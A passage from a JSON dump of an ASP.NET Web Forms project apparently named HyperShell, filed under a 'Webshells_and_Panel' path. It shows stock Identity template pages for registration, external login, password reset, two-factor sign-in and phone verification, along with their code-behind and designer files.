    "content": "﻿//------------------------------------------------------------------------------\r\n// <auto-generated>\r\n//     This code was generated by a tool.\r\n//\r\n//     Changes to this file may cause incorrect behavior and will be lost if\r\n//     the code is regenerated. \r\n// </auto-generated>\r\n//------------------------------------------------------------------------------\r\n\r\nnamespace HyperShell.Account {\r\n    \r\n    \r\n    public partial class Register {\r\n        \r\n        /// <summary>\r\n        /// ErrorMessage control.\r\n        /// </summary>\r\n        /// <remarks>\r\n        /// Auto-generated field.\r\n        /// To modify move field declaration from designer file to code-behind file.\r\n        /// </remarks>\r\n        protected global::System.Web.UI.WebControls.Literal ErrorMessage;\r\n        \r\n        /// <summary>\r\n        /// Email control.\r\n        /// </summary>\r\n        /// <remarks>\r\n        /// Auto-generated field.\r\n        /// To modify move field declaration from designer file to code-behind file.\r\n        /// </remarks>\r\n        protected global::System.Web.UI.WebControls.TextBox Email;\r\n        \r\n        /// <summary>\r\n        /// Password control.\r\n        /// </summary>\r\n        /// <remarks>\r\n        /// Auto-generated field.\r\n        /// To modify move field declaration from designer file to code-behind file.\r\n        /// </remarks>\r\n        protected global::System.Web.UI.WebControls.TextBox Password;\r\n        \r\n        /// <summary>\r\n        /// ConfirmPassword control.\r\n        /// </summary>\r\n        /// <remarks>\r\n        /// Auto-generated field.\r\n        /// To modify move field declaration from designer file to code-behind file.\r\n        /// </remarks>\r\n        protected global::System.Web.UI.WebControls.TextBox ConfirmPassword;\r\n    }\r\n}\r\n"
  },
  {
    "path": "Webshells_and_Panel/HyperShell/HyperShell/Account/RegisterExternalLogin.aspx",
    "content": "﻿<%@ Page Title=\"Register an external login\" Language=\"C#\" MasterPageFile=\"~/Site.Master\" AutoEventWireup=\"true\" CodeBehind=\"RegisterExternalLogin.aspx.cs\" Inherits=\"HyperShell.Account.RegisterExternalLogin\" Async=\"true\" %>\r\n\r\n<asp:Content runat=\"server\" ID=\"BodyContent\" ContentPlaceHolderID=\"MainContent\">\r\n<h3>Register with your <%: ProviderName %> account</h3>\r\n\r\n    <asp:PlaceHolder runat=\"server\">\r\n        <div class=\"form-horizontal\">\r\n            <h4>Association Form</h4>\r\n            <hr />\r\n            <asp:ValidationSummary runat=\"server\" ShowModelStateErrors=\"true\" CssClass=\"text-danger\" />\r\n            <p class=\"text-info\">\r\n                You've authenticated with <strong><%: ProviderName %></strong>. Please enter an email below for the current site\r\n                and click the Log in button.\r\n            </p>\r\n\r\n            <div class=\"form-group\">\r\n                <asp:Label runat=\"server\" AssociatedControlID=\"email\" CssClass=\"col-md-2 control-label\">Email</asp:Label>\r\n                <div class=\"col-md-10\">\r\n                    <asp:TextBox runat=\"server\" ID=\"email\" CssClass=\"form-control\" TextMode=\"Email\" />\r\n                    <asp:RequiredFieldValidator runat=\"server\" ControlToValidate=\"email\"\r\n                        Display=\"Dynamic\" CssClass=\"text-danger\" ErrorMessage=\"Email is required\" />\r\n                    <asp:ModelErrorMessage runat=\"server\" ModelStateKey=\"email\" CssClass=\"text-error\" />\r\n                </div>\r\n            </div>\r\n\r\n            <div class=\"form-group\">\r\n                <div class=\"col-md-offset-2 col-md-10\">\r\n                    <asp:Button runat=\"server\" Text=\"Log in\" CssClass=\"btn btn-default\" OnClick=\"LogIn_Click\" />\r\n                </div>\r\n            </div>\r\n        </div>\r\n    </asp:PlaceHolder>\r\n</asp:Content>\r\n"
  },
  {
    "path": "Webshells_and_Panel/HyperShell/HyperShell/Account/RegisterExternalLogin.aspx.cs",
    "content": "﻿using System;\r\nusing System.Web;\r\nusing Microsoft.AspNet.Identity;\r\nusing Microsoft.AspNet.Identity.Owin;\r\nusing Microsoft.Owin.Security;\r\nusing Owin;\r\nusing HyperShell.Models;\r\n\r\nnamespace HyperShell.Account\r\n{\r\n    public partial class RegisterExternalLogin : System.Web.UI.Page\r\n    {\r\n        protected string ProviderName\r\n        {\r\n            get { return (string)ViewState[\"ProviderName\"] ?? String.Empty; }\r\n            private set { ViewState[\"ProviderName\"] = value; }\r\n        }\r\n\r\n        protected string ProviderAccountKey\r\n        {\r\n            get { return (string)ViewState[\"ProviderAccountKey\"] ?? String.Empty; }\r\n            private set { ViewState[\"ProviderAccountKey\"] = value; }\r\n        }\r\n\r\n        private void RedirectOnFail()\r\n        {\r\n            Response.Redirect((User.Identity.IsAuthenticated) ? \"~/Account/Manage\" : \"~/Account/Login\");\r\n        }\r\n\r\n        protected void Page_Load()\r\n        {\r\n            // Process the result from an auth provider in the request\r\n            ProviderName = IdentityHelper.GetProviderNameFromRequest(Request);\r\n            if (String.IsNullOrEmpty(ProviderName))\r\n            {\r\n                RedirectOnFail();\r\n                return;\r\n            }\r\n            if (!IsPostBack)\r\n            {\r\n                var manager = Context.GetOwinContext().GetUserManager<ApplicationUserManager>();\r\n                var signInManager = Context.GetOwinContext().Get<ApplicationSignInManager>();\r\n                var loginInfo = Context.GetOwinContext().Authentication.GetExternalLoginInfo();\r\n                if (loginInfo == null)\r\n                {\r\n                    RedirectOnFail();\r\n                    return;\r\n                }\r\n                var user = manager.Find(loginInfo.Login);\r\n                if (user != null)\r\n                {\r\n                    signInManager.SignIn(user, isPersistent: false, rememberBrowser: false);\r\n                    IdentityHelper.RedirectToReturnUrl(Request.QueryString[\"ReturnUrl\"], Response);\r\n                }\r\n                else if (User.Identity.IsAuthenticated)\r\n                {\r\n                    // Apply Xsrf check when linking\r\n                    var verifiedloginInfo = Context.GetOwinContext().Authentication.GetExternalLoginInfo(IdentityHelper.XsrfKey, User.Identity.GetUserId());\r\n                    if (verifiedloginInfo == null)\r\n                    {\r\n                        RedirectOnFail();\r\n                        return;\r\n                    }\r\n\r\n                    var result = manager.AddLogin(User.Identity.GetUserId(), verifiedloginInfo.Login);\r\n                    if (result.Succeeded)\r\n                    {\r\n                        IdentityHelper.RedirectToReturnUrl(Request.QueryString[\"ReturnUrl\"], Response);\r\n                    }\r\n                    else\r\n                    {\r\n                        AddErrors(result);\r\n                        return;\r\n                    }\r\n                }\r\n                else\r\n                {\r\n                    email.Text = loginInfo.Email;\r\n                }\r\n            }\r\n        }        \r\n        \r\n        protected void LogIn_Click(object sender, EventArgs e)\r\n        {\r\n            CreateAndLoginUser();\r\n        }\r\n\r\n        private void CreateAndLoginUser()\r\n        {\r\n            if (!IsValid)\r\n            {\r\n                return;\r\n            }\r\n            var manager = Context.GetOwinContext().GetUserManager<ApplicationUserManager>();\r\n            var signInManager = Context.GetOwinContext().GetUserManager<ApplicationSignInManager>();\r\n            var user = new ApplicationUser() { UserName = email.Text, Email = email.Text };\r\n            IdentityResult result = manager.Create(user);\r\n            if (result.Succeeded)\r\n            {\r\n                var loginInfo = Context.GetOwinContext().Authentication.GetExternalLoginInfo();\r\n                if (loginInfo == null)\r\n                {\r\n                    RedirectOnFail();\r\n                    return;\r\n                }\r\n                result = manager.AddLogin(user.Id, loginInfo.Login);\r\n                if (result.Succeeded)\r\n                {\r\n                    signInManager.SignIn(user, isPersistent: false, rememberBrowser: false);\r\n\r\n                    // For more information on how to enable account confirmation and password reset please visit http://go.microsoft.com/fwlink/?LinkID=320771\r\n                    // var code = manager.GenerateEmailConfirmationToken(user.Id);\r\n                    // Send this link via email: IdentityHelper.GetUserConfirmationRedirectUrl(code, user.Id)\r\n\r\n                    IdentityHelper.RedirectToReturnUrl(Request.QueryString[\"ReturnUrl\"], Response);\r\n                    return;\r\n                }\r\n            }\r\n            AddErrors(result);\r\n        }\r\n\r\n        private void AddErrors(IdentityResult result) \r\n        {\r\n            foreach (var error in result.Errors) \r\n            {\r\n                ModelState.AddModelError(\"\", error);\r\n            }\r\n        }\r\n    }\r\n}"
  },
  {
    "path": "Webshells_and_Panel/HyperShell/HyperShell/Account/RegisterExternalLogin.aspx.designer.cs",
    "content": "﻿//------------------------------------------------------------------------------\r\n// <auto-generated>\r\n//     This code was generated by a tool.\r\n//\r\n//     Changes to this file may cause incorrect behavior and will be lost if\r\n//     the code is regenerated. \r\n// </auto-generated>\r\n//------------------------------------------------------------------------------\r\n\r\nnamespace HyperShell.Account {\r\n    \r\n    \r\n    public partial class RegisterExternalLogin {\r\n        \r\n        /// <summary>\r\n        /// email control.\r\n        /// </summary>\r\n        /// <remarks>\r\n        /// Auto-generated field.\r\n        /// To modify move field declaration from designer file to code-behind file.\r\n        /// </remarks>\r\n        protected global::System.Web.UI.WebControls.TextBox email;\r\n    }\r\n}\r\n"
  },
  {
    "path": "Webshells_and_Panel/HyperShell/HyperShell/Account/ResetPassword.aspx",
    "content": "﻿<%@ Page Title=\"Reset Password\" Language=\"C#\" MasterPageFile=\"~/Site.Master\" AutoEventWireup=\"true\" CodeBehind=\"ResetPassword.aspx.cs\" Inherits=\"HyperShell.Account.ResetPassword\" Async=\"true\" %>\r\n\r\n<asp:Content runat=\"server\" ID=\"BodyContent\" ContentPlaceHolderID=\"MainContent\">\r\n    <h2><%: Title %>.</h2>\r\n    <p class=\"text-danger\">\r\n        <asp:Literal runat=\"server\" ID=\"ErrorMessage\" />\r\n    </p>\r\n\r\n    <div class=\"form-horizontal\">\r\n        <h4>Enter your new password</h4>\r\n        <hr />\r\n        <asp:ValidationSummary runat=\"server\" CssClass=\"text-danger\" />\r\n        <div class=\"form-group\">\r\n            <asp:Label runat=\"server\" AssociatedControlID=\"Email\" CssClass=\"col-md-2 control-label\">Email</asp:Label>\r\n            <div class=\"col-md-10\">\r\n                <asp:TextBox runat=\"server\" ID=\"Email\" CssClass=\"form-control\" TextMode=\"Email\" />\r\n                <asp:RequiredFieldValidator runat=\"server\" ControlToValidate=\"Email\"\r\n                    CssClass=\"text-danger\" ErrorMessage=\"The email field is required.\" />\r\n            </div>\r\n        </div>\r\n        <div class=\"form-group\">\r\n            <asp:Label runat=\"server\" AssociatedControlID=\"Password\" CssClass=\"col-md-2 control-label\">Password</asp:Label>\r\n            <div class=\"col-md-10\">\r\n                <asp:TextBox runat=\"server\" ID=\"Password\" TextMode=\"Password\" CssClass=\"form-control\" />\r\n                <asp:RequiredFieldValidator runat=\"server\" ControlToValidate=\"Password\"\r\n                    CssClass=\"text-danger\" ErrorMessage=\"The password field is required.\" />\r\n            </div>\r\n        </div>\r\n        <div class=\"form-group\">\r\n            <asp:Label runat=\"server\" AssociatedControlID=\"ConfirmPassword\" CssClass=\"col-md-2 control-label\">Confirm password</asp:Label>\r\n            <div class=\"col-md-10\">\r\n                <asp:TextBox runat=\"server\" ID=\"ConfirmPassword\" TextMode=\"Password\" CssClass=\"form-control\" />\r\n                <asp:RequiredFieldValidator runat=\"server\" ControlToValidate=\"ConfirmPassword\"\r\n                    CssClass=\"text-danger\" Display=\"Dynamic\" ErrorMessage=\"The confirm password field is required.\" />\r\n                <asp:CompareValidator runat=\"server\" ControlToCompare=\"Password\" ControlToValidate=\"ConfirmPassword\"\r\n                    CssClass=\"text-danger\" Display=\"Dynamic\" ErrorMessage=\"The password and confirmation password do not match.\" />\r\n            </div>\r\n        </div>\r\n        <div class=\"form-group\">\r\n            <div class=\"col-md-offset-2 col-md-10\">\r\n                <asp:Button runat=\"server\" OnClick=\"Reset_Click\" Text=\"Reset\" CssClass=\"btn btn-default\" />\r\n            </div>\r\n        </div>\r\n    </div>\r\n</asp:Content>\r\n"
  },
  {
    "path": "Webshells_and_Panel/HyperShell/HyperShell/Account/ResetPassword.aspx.cs",
    "content": "﻿using System;\r\nusing System.Linq;\r\nusing System.Web;\r\nusing System.Web.UI;\r\nusing Microsoft.AspNet.Identity;\r\nusing Microsoft.AspNet.Identity.Owin;\r\nusing Owin;\r\nusing HyperShell.Models;\r\n\r\nnamespace HyperShell.Account\r\n{\r\n    public partial class ResetPassword : Page\r\n    {\r\n        protected string StatusMessage\r\n        {\r\n            get;\r\n            private set;\r\n        }\r\n\r\n        protected void Reset_Click(object sender, EventArgs e)\r\n        {\r\n            string code = IdentityHelper.GetCodeFromRequest(Request);\r\n            if (code != null)\r\n            {\r\n                var manager = Context.GetOwinContext().GetUserManager<ApplicationUserManager>();\r\n\r\n                var user = manager.FindByName(Email.Text);\r\n                if (user == null)\r\n                {\r\n                    ErrorMessage.Text = \"No user found\";\r\n                    return;\r\n                }\r\n                var result = manager.ResetPassword(user.Id, code, Password.Text);\r\n                if (result.Succeeded)\r\n                {\r\n                    Response.Redirect(\"~/Account/ResetPasswordConfirmation\");\r\n                    return;\r\n                }\r\n                ErrorMessage.Text = result.Errors.FirstOrDefault();\r\n                return;\r\n            }\r\n\r\n            ErrorMessage.Text = \"An error has occurred\";\r\n        }\r\n    }\r\n}"
  },
  {
    "path": "Webshells_and_Panel/HyperShell/HyperShell/Account/ResetPassword.aspx.designer.cs",
    "content": "﻿//------------------------------------------------------------------------------\r\n// <auto-generated>\r\n//     This code was generated by a tool.\r\n//\r\n//     Changes to this file may cause incorrect behavior and will be lost if\r\n//     the code is regenerated. \r\n// </auto-generated>\r\n//------------------------------------------------------------------------------\r\n\r\nnamespace HyperShell.Account {\r\n    \r\n    \r\n    public partial class ResetPassword {\r\n        \r\n        /// <summary>\r\n        /// ErrorMessage control.\r\n        /// </summary>\r\n        /// <remarks>\r\n        /// Auto-generated field.\r\n        /// To modify move field declaration from designer file to code-behind file.\r\n        /// </remarks>\r\n        protected global::System.Web.UI.WebControls.Literal ErrorMessage;\r\n        \r\n        /// <summary>\r\n        /// Email control.\r\n        /// </summary>\r\n        /// <remarks>\r\n        /// Auto-generated field.\r\n        /// To modify move field declaration from designer file to code-behind file.\r\n        /// </remarks>\r\n        protected global::System.Web.UI.WebControls.TextBox Email;\r\n        \r\n        /// <summary>\r\n        /// Password control.\r\n        /// </summary>\r\n        /// <remarks>\r\n        /// Auto-generated field.\r\n        /// To modify move field declaration from designer file to code-behind file.\r\n        /// </remarks>\r\n        protected global::System.Web.UI.WebControls.TextBox Password;\r\n        \r\n        /// <summary>\r\n        /// ConfirmPassword control.\r\n        /// </summary>\r\n        /// <remarks>\r\n        /// Auto-generated field.\r\n        /// To modify move field declaration from designer file to code-behind file.\r\n        /// </remarks>\r\n        protected global::System.Web.UI.WebControls.TextBox ConfirmPassword;\r\n    }\r\n}\r\n"
  },
  {
    "path": "Webshells_and_Panel/HyperShell/HyperShell/Account/ResetPasswordConfirmation.aspx",
    "content": "﻿<%@ Page Title=\"Password Changed\" Language=\"C#\" MasterPageFile=\"~/Site.Master\" AutoEventWireup=\"true\" CodeBehind=\"ResetPasswordConfirmation.aspx.cs\" Inherits=\"HyperShell.Account.ResetPasswordConfirmation\" Async=\"true\" %>\r\n\r\n<asp:Content runat=\"server\" ID=\"BodyContent\" ContentPlaceHolderID=\"MainContent\">\r\n    <h2><%: Title %>.</h2>\r\n    <div>\r\n        <p>Your password has been changed. Click <asp:HyperLink ID=\"login\" runat=\"server\" NavigateUrl=\"~/Account/Login\">here</asp:HyperLink> to login </p>\r\n    </div>\r\n</asp:Content>\r\n"
  },
  {
    "path": "Webshells_and_Panel/HyperShell/HyperShell/Account/ResetPasswordConfirmation.aspx.cs",
    "content": "﻿using System.Web.UI;\r\n\r\nnamespace HyperShell.Account\r\n{\r\n    public partial class ResetPasswordConfirmation : Page\r\n    {\r\n    }\r\n}"
  },
  {
    "path": "Webshells_and_Panel/HyperShell/HyperShell/Account/ResetPasswordConfirmation.aspx.designer.cs",
    "content": "﻿//------------------------------------------------------------------------------\r\n// <auto-generated>\r\n//     This code was generated by a tool.\r\n//\r\n//     Changes to this file may cause incorrect behavior and will be lost if\r\n//     the code is regenerated. \r\n// </auto-generated>\r\n//------------------------------------------------------------------------------\r\n\r\nnamespace HyperShell.Account {\r\n    \r\n    \r\n    public partial class ResetPasswordConfirmation {\r\n\r\n        /// <summary>\r\n        /// login control.\r\n        /// </summary>\r\n        /// <remarks>\r\n        /// Auto-generated field.\r\n        /// To modify move field declaration from designer file to code-behind file.\r\n        /// </remarks>\r\n        protected global::System.Web.UI.WebControls.HyperLink login;    \r\n    }\r\n}\r\n"
  },
  {
    "path": "Webshells_and_Panel/HyperShell/HyperShell/Account/TwoFactorAuthenticationSignIn.aspx",
    "content": "﻿<%@ Page Title=\"Two-Factor Authentication\" Language=\"C#\" MasterPageFile=\"~/Site.Master\" AutoEventWireup=\"true\" CodeBehind=\"TwoFactorAuthenticationSignIn.aspx.cs\" Inherits=\"HyperShell.Account.TwoFactorAuthenticationSignIn\" %>\r\n\r\n<asp:Content ID=\"BodyContent\" ContentPlaceHolderID=\"MainContent\" runat=\"server\">\r\n        <h2><%: Title %>.</h2>\r\n    <asp:PlaceHolder runat=\"server\" ID=\"sendcode\">\r\n        <section>\r\n            <h4>Send verification code</h4>\r\n            <hr />\r\n            <div class=\"row\">\r\n                <div class=\"col-md-12\">\r\n                    Select Two-Factor Authentication Provider:\r\n            <asp:DropDownList runat=\"server\" ID=\"Providers\">\r\n            </asp:DropDownList>\r\n                    <asp:Button Text=\"Submit\" ID=\"ProviderSubmit\" OnClick=\"ProviderSubmit_Click\" CssClass=\"btn btn-default\" runat=\"server\" />\r\n                </div>\r\n            </div>\r\n        </section>\r\n    </asp:PlaceHolder>\r\n    <asp:PlaceHolder runat=\"server\" ID=\"verifycode\" Visible=\"false\">\r\n        <section>\r\n            <h4>Enter verification code</h4>\r\n            <hr />\r\n            <asp:HiddenField ID=\"SelectedProvider\" runat=\"server\" />\r\n            <asp:PlaceHolder runat=\"server\" ID=\"ErrorMessage\" Visible=\"false\">\r\n                <p class=\"text-danger\">\r\n                    <asp:Literal runat=\"server\" ID=\"FailureText\" />\r\n                </p>\r\n            </asp:PlaceHolder>\r\n            <div class=\"form-group\">\r\n                <asp:Label Text=\"Code:\" runat=\"server\" AssociatedControlID=\"Code\" CssClass=\"col-md-2 control-label\" />\r\n                <div class=\"col-md-10\">\r\n                    <asp:TextBox runat=\"server\" ID=\"Code\" CssClass=\"form-control\" />\r\n                </div>\r\n            </div>\r\n            <div class=\"form-group\">\r\n                <div class=\"col-md-offset-2 col-md-10\">\r\n                    <div class=\"checkbox\">\r\n                        <asp:Label Text=\"Remember Browser\" runat=\"server\" />\r\n                        <asp:CheckBox Text=\"\" ID=\"RememberBrowser\" runat=\"server\" />\r\n                    </div>\r\n                </div>\r\n            </div>\r\n            <div class=\"form-group\">\r\n                <div class=\"col-md-offset-2 col-md-10\">\r\n                    <asp:Button Text=\"Submit\" ID=\"CodeSubmit\" OnClick=\"CodeSubmit_Click\" CssClass=\"btn btn-default\" runat=\"server\" />\r\n                </div>\r\n            </div>\r\n        </section>\r\n    </asp:PlaceHolder>\r\n</asp:Content>\r\n"
  },
  {
    "path": "Webshells_and_Panel/HyperShell/HyperShell/Account/TwoFactorAuthenticationSignIn.aspx.cs",
    "content": "﻿using System;\r\nusing System.Collections.Generic;\r\nusing System.Linq;\r\nusing System.Threading.Tasks;\r\nusing System.Web;\r\nusing System.Web.UI;\r\nusing System.Web.UI.WebControls;\r\nusing Microsoft.AspNet.Identity;\r\nusing Microsoft.AspNet.Identity.Owin;\r\nusing HyperShell.Models;\r\n\r\nnamespace HyperShell.Account\r\n{\r\n    public partial class TwoFactorAuthenticationSignIn : System.Web.UI.Page\r\n    {\r\n        private ApplicationSignInManager signinManager;\r\n        private ApplicationUserManager manager;\r\n\r\n        public TwoFactorAuthenticationSignIn()\r\n        {\r\n            manager = Context.GetOwinContext().GetUserManager<ApplicationUserManager>();\r\n            signinManager = Context.GetOwinContext().GetUserManager<ApplicationSignInManager>();\r\n        }\r\n\r\n        protected void Page_Load(object sender, EventArgs e)\r\n        {\r\n            var userId = signinManager.GetVerifiedUserId<ApplicationUser, string>();\r\n            if (userId == null)\r\n            {\r\n                Response.Redirect(\"/Account/Error\", true);\r\n            }\r\n            var userFactors = manager.GetValidTwoFactorProviders(userId);\r\n            Providers.DataSource = userFactors.Select(x => x).ToList();\r\n            Providers.DataBind();            \r\n        }\r\n\r\n        protected void CodeSubmit_Click(object sender, EventArgs e)\r\n        {\r\n            bool rememberMe = false;\r\n            bool.TryParse(Request.QueryString[\"RememberMe\"], out rememberMe);\r\n            \r\n            var result = signinManager.TwoFactorSignIn<ApplicationUser, string>(SelectedProvider.Value, Code.Text, isPersistent: rememberMe, rememberBrowser: RememberBrowser.Checked);\r\n            switch (result)\r\n            {\r\n                case SignInStatus.Success:\r\n                    IdentityHelper.RedirectToReturnUrl(Request.QueryString[\"ReturnUrl\"], Response);\r\n                    break;\r\n                case SignInStatus.LockedOut:\r\n                    Response.Redirect(\"/Account/Lockout\");\r\n                    break;\r\n                case SignInStatus.Failure:\r\n                default:\r\n                    FailureText.Text = \"Invalid code\";\r\n                    ErrorMessage.Visible = true;\r\n                    break;\r\n            }\r\n        }\r\n\r\n        protected void ProviderSubmit_Click(object sender, EventArgs e)\r\n        {\r\n            if (!signinManager.SendTwoFactorCode(Providers.SelectedValue))\r\n            {\r\n                Response.Redirect(\"/Account/Error\");\r\n            }\r\n\r\n            var user = manager.FindById(signinManager.GetVerifiedUserId<ApplicationUser, string>());\r\n            if (user != null)\r\n            {\r\n                var code = manager.GenerateTwoFactorToken(user.Id, Providers.SelectedValue);\r\n            }\r\n\r\n            SelectedProvider.Value = Providers.SelectedValue;\r\n            sendcode.Visible = false;\r\n            verifycode.Visible = true;\r\n        }\r\n    }\r\n}"
  },
  {
    "path": "Webshells_and_Panel/HyperShell/HyperShell/Account/TwoFactorAuthenticationSignIn.aspx.designer.cs",
    "content": "﻿//------------------------------------------------------------------------------\r\n// <auto-generated>\r\n//     This code was generated by a tool.\r\n//\r\n//     Changes to this file may cause incorrect behavior and will be lost if\r\n//     the code is regenerated. \r\n// </auto-generated>\r\n//------------------------------------------------------------------------------\r\n\r\nnamespace HyperShell.Account {\r\n    \r\n    \r\n    public partial class TwoFactorAuthenticationSignIn {\r\n        \r\n        /// <summary>\r\n        /// sendcode control.\r\n        /// </summary>\r\n        /// <remarks>\r\n        /// Auto-generated field.\r\n        /// To modify move field declaration from designer file to code-behind file.\r\n        /// </remarks>\r\n        protected global::System.Web.UI.WebControls.PlaceHolder sendcode;\r\n        \r\n        /// <summary>\r\n        /// Providers control.\r\n        /// </summary>\r\n        /// <remarks>\r\n        /// Auto-generated field.\r\n        /// To modify move field declaration from designer file to code-behind file.\r\n        /// </remarks>\r\n        protected global::System.Web.UI.WebControls.DropDownList Providers;\r\n        \r\n        /// <summary>\r\n        /// ProviderSubmit control.\r\n        /// </summary>\r\n        /// <remarks>\r\n        /// Auto-generated field.\r\n        /// To modify move field declaration from designer file to code-behind file.\r\n        /// </remarks>\r\n        protected global::System.Web.UI.WebControls.Button ProviderSubmit;\r\n        \r\n        /// <summary>\r\n        /// verifycode control.\r\n        /// </summary>\r\n        /// <remarks>\r\n        /// Auto-generated field.\r\n        /// To modify move field declaration from designer file to code-behind file.\r\n        /// </remarks>\r\n        protected global::System.Web.UI.WebControls.PlaceHolder verifycode;\r\n        \r\n        /// <summary>\r\n        /// SelectedProvider control.\r\n        /// </summary>\r\n        /// <remarks>\r\n        /// Auto-generated field.\r\n        /// To modify move field declaration from designer file to code-behind file.\r\n        /// </remarks>\r\n        protected global::System.Web.UI.WebControls.HiddenField SelectedProvider;\r\n        \r\n        /// <summary>\r\n        /// ErrorMessage control.\r\n        /// </summary>\r\n        /// <remarks>\r\n        /// Auto-generated field.\r\n        /// To modify move field declaration from designer file to code-behind file.\r\n        /// </remarks>\r\n        protected global::System.Web.UI.WebControls.PlaceHolder ErrorMessage;\r\n        \r\n        /// <summary>\r\n        /// FailureText control.\r\n        /// </summary>\r\n        /// <remarks>\r\n        /// Auto-generated field.\r\n        /// To modify move field declaration from designer file to code-behind file.\r\n        /// </remarks>\r\n        protected global::System.Web.UI.WebControls.Literal FailureText;\r\n        \r\n        /// <summary>\r\n        /// Code control.\r\n        /// </summary>\r\n        /// <remarks>\r\n        /// Auto-generated field.\r\n        /// To modify move field declaration from designer file to code-behind file.\r\n        /// </remarks>\r\n        protected global::System.Web.UI.WebControls.TextBox Code;\r\n        \r\n        /// <summary>\r\n        /// RememberBrowser control.\r\n        /// </summary>\r\n        /// <remarks>\r\n        /// Auto-generated field.\r\n        /// To modify move field declaration from designer file to code-behind file.\r\n        /// </remarks>\r\n        protected global::System.Web.UI.WebControls.CheckBox RememberBrowser;\r\n        \r\n        /// <summary>\r\n        /// CodeSubmit control.\r\n        /// </summary>\r\n        /// <remarks>\r\n        /// Auto-generated field.\r\n        /// To modify move field declaration from designer file to code-behind file.\r\n        /// </remarks>\r\n        protected global::System.Web.UI.WebControls.Button CodeSubmit;\r\n    }\r\n}\r\n"
  },
  {
    "path": "Webshells_and_Panel/HyperShell/HyperShell/Account/VerifyPhoneNumber.aspx",
    "content": "﻿<%@ Page Title=\"Verify Phone Number\" Language=\"C#\" MasterPageFile=\"~/Site.Master\" AutoEventWireup=\"true\" CodeBehind=\"VerifyPhoneNumber.aspx.cs\" Inherits=\"HyperShell.Account.VerifyPhoneNumber\" %>\r\n\r\n<asp:Content ID=\"BodyContent\" ContentPlaceHolderID=\"MainContent\" runat=\"server\">\r\n <h2><%: Title %>.</h2>\r\n    <p class=\"text-danger\">\r\n        <asp:Literal runat=\"server\" ID=\"ErrorMessage\" />\r\n    </p>\r\n    <div class=\"form-horizontal\">\r\n        <h4>Enter verification code</h4>\r\n        <hr />\r\n        <asp:HiddenField runat=\"server\" ID=\"PhoneNumber\" />\r\n        <asp:ValidationSummary runat=\"server\" CssClass=\"text-danger\" />\r\n        <div class=\"form-group\">\r\n            <asp:Label runat=\"server\" AssociatedControlID=\"Code\" CssClass=\"col-md-2 control-label\">Code</asp:Label>\r\n            <div class=\"col-md-10\">\r\n                <asp:TextBox runat=\"server\" ID=\"Code\" CssClass=\"form-control\" />\r\n                <asp:RequiredFieldValidator runat=\"server\" ControlToValidate=\"Code\"\r\n                    CssClass=\"text-danger\" ErrorMessage=\"The Code field is required.\" />\r\n            </div>\r\n        </div>\r\n        <div class=\"form-group\">\r\n            <div class=\"col-md-offset-2 col-md-10\">\r\n                <asp:Button runat=\"server\" OnClick=\"Code_Click\"\r\n                    Text=\"Submit\" CssClass=\"btn btn-default\" />\r\n            </div>\r\n        </div>\r\n    </div>\r\n</asp:Content>\r\n"
  },
  {
    "path": "Webshells_and_Panel/HyperShell/HyperShell/Account/VerifyPhoneNumber.aspx.cs",
    "content": "﻿using System;\r\nusing System.Collections.Generic;\r\nusing System.Linq;\r\nusing System.Web;\r\nusing System.Web.UI;\r\nusing System.Web.UI.WebControls;\r\nusing Microsoft.AspNet.Identity;\r\nusing Microsoft.AspNet.Identity.Owin;\r\n\r\nnamespace HyperShell.Account\r\n{\r\n    public partial class VerifyPhoneNumber : System.Web.UI.Page\r\n    {\r\n        protected void Page_Load(object sender, EventArgs e)\r\n        {\r\n            var manager = Context.GetOwinContext().GetUserManager<ApplicationUserManager>();\r\n            var phonenumber = Request.QueryString[\"PhoneNumber\"];\r\n            var code = manager.GenerateChangePhoneNumberToken(User.Identity.GetUserId(), phonenumber);           \r\n            PhoneNumber.Value = phonenumber;\r\n        }\r\n\r\n        protected void Code_Click(object sender, EventArgs e)\r\n        {\r\n            if (!ModelState.IsValid)\r\n            {\r\n                ModelState.AddModelError(\"\", \"Invalid code\");\r\n                return;\r\n            }\r\n\r\n            var manager = Context.GetOwinContext().GetUserManager<ApplicationUserManager>();\r\n            var signInManager = Context.GetOwinContext().Get<ApplicationSignInManager>();\r\n\r\n            var result = manager.ChangePhoneNumber(User.Identity.GetUserId(), PhoneNumber.Value, Code.Text);\r\n\r\n            if (result.Succeeded)\r\n            {\r\n                var user = manager.FindById(User.Identity.GetUserId());\r\n\r\n                if (user != null)\r\n                {\r\n                    signInManager.SignIn(user, isPersistent: false, rememberBrowser: false);\r\n                    Response.Redirect(\"/Account/Manage?m=AddPhoneNumberSuccess\");\r\n                }\r\n            }\r\n\r\n            // If we got this far, something failed, redisplay form\r\n            ModelState.AddModelError(\"\", \"Failed to verify phone\");\r\n        }\r\n    }\r\n}"
  },
  {
    "path": "Webshells_and_Panel/HyperShell/HyperShell/Account/VerifyPhoneNumber.aspx.designer.cs",
    "content": "﻿//------------------------------------------------------------------------------\r\n// <auto-generated>\r\n//     This code was generated by a tool.\r\n//\r\n//     Changes to this file may cause incorrect behavior and will be lost if\r\n//     the code is regenerated. \r\n// </auto-generated>\r\n//------------------------------------------------------------------------------\r\n\r\nnamespace HyperShell.Account {\r\n    \r\n    \r\n    public partial class VerifyPhoneNumber {\r\n        \r\n        /// <summary>\r\n        /// ErrorMessage control.\r\n        /// </summary>\r\n        /// <remarks>\r\n        /// Auto-generated field.\r\n        /// To modify move field declaration from designer file to code-behind file.\r\n        /// </remarks>\r\n        protected global::System.Web.UI.WebControls.Literal ErrorMessage;\r\n        \r\n        /// <summary>\r\n        /// PhoneNumber control.\r\n        /// </summary>\r\n        /// <remarks>\r\n        /// Auto-generated field.\r\n        /// To modify move field declaration from designer file to code-behind file.\r\n        /// </remarks>\r\n        protected global::System.Web.UI.WebControls.HiddenField PhoneNumber;\r\n        \r\n        /// <summary>\r\n        /// Code control.\r\n        /// </summary>\r\n        /// <remarks>\r\n        /// Auto-generated field.\r\n        /// To modify move field declaration from designer file to code-behind file.\r\n        /// </remarks>\r\n        protected global::System.Web.UI.WebControls.TextBox Code;\r\n    }\r\n}\r\n"
  },
  {
    "path": "Webshells_and_Panel/HyperShell/HyperShell/Contact.aspx",
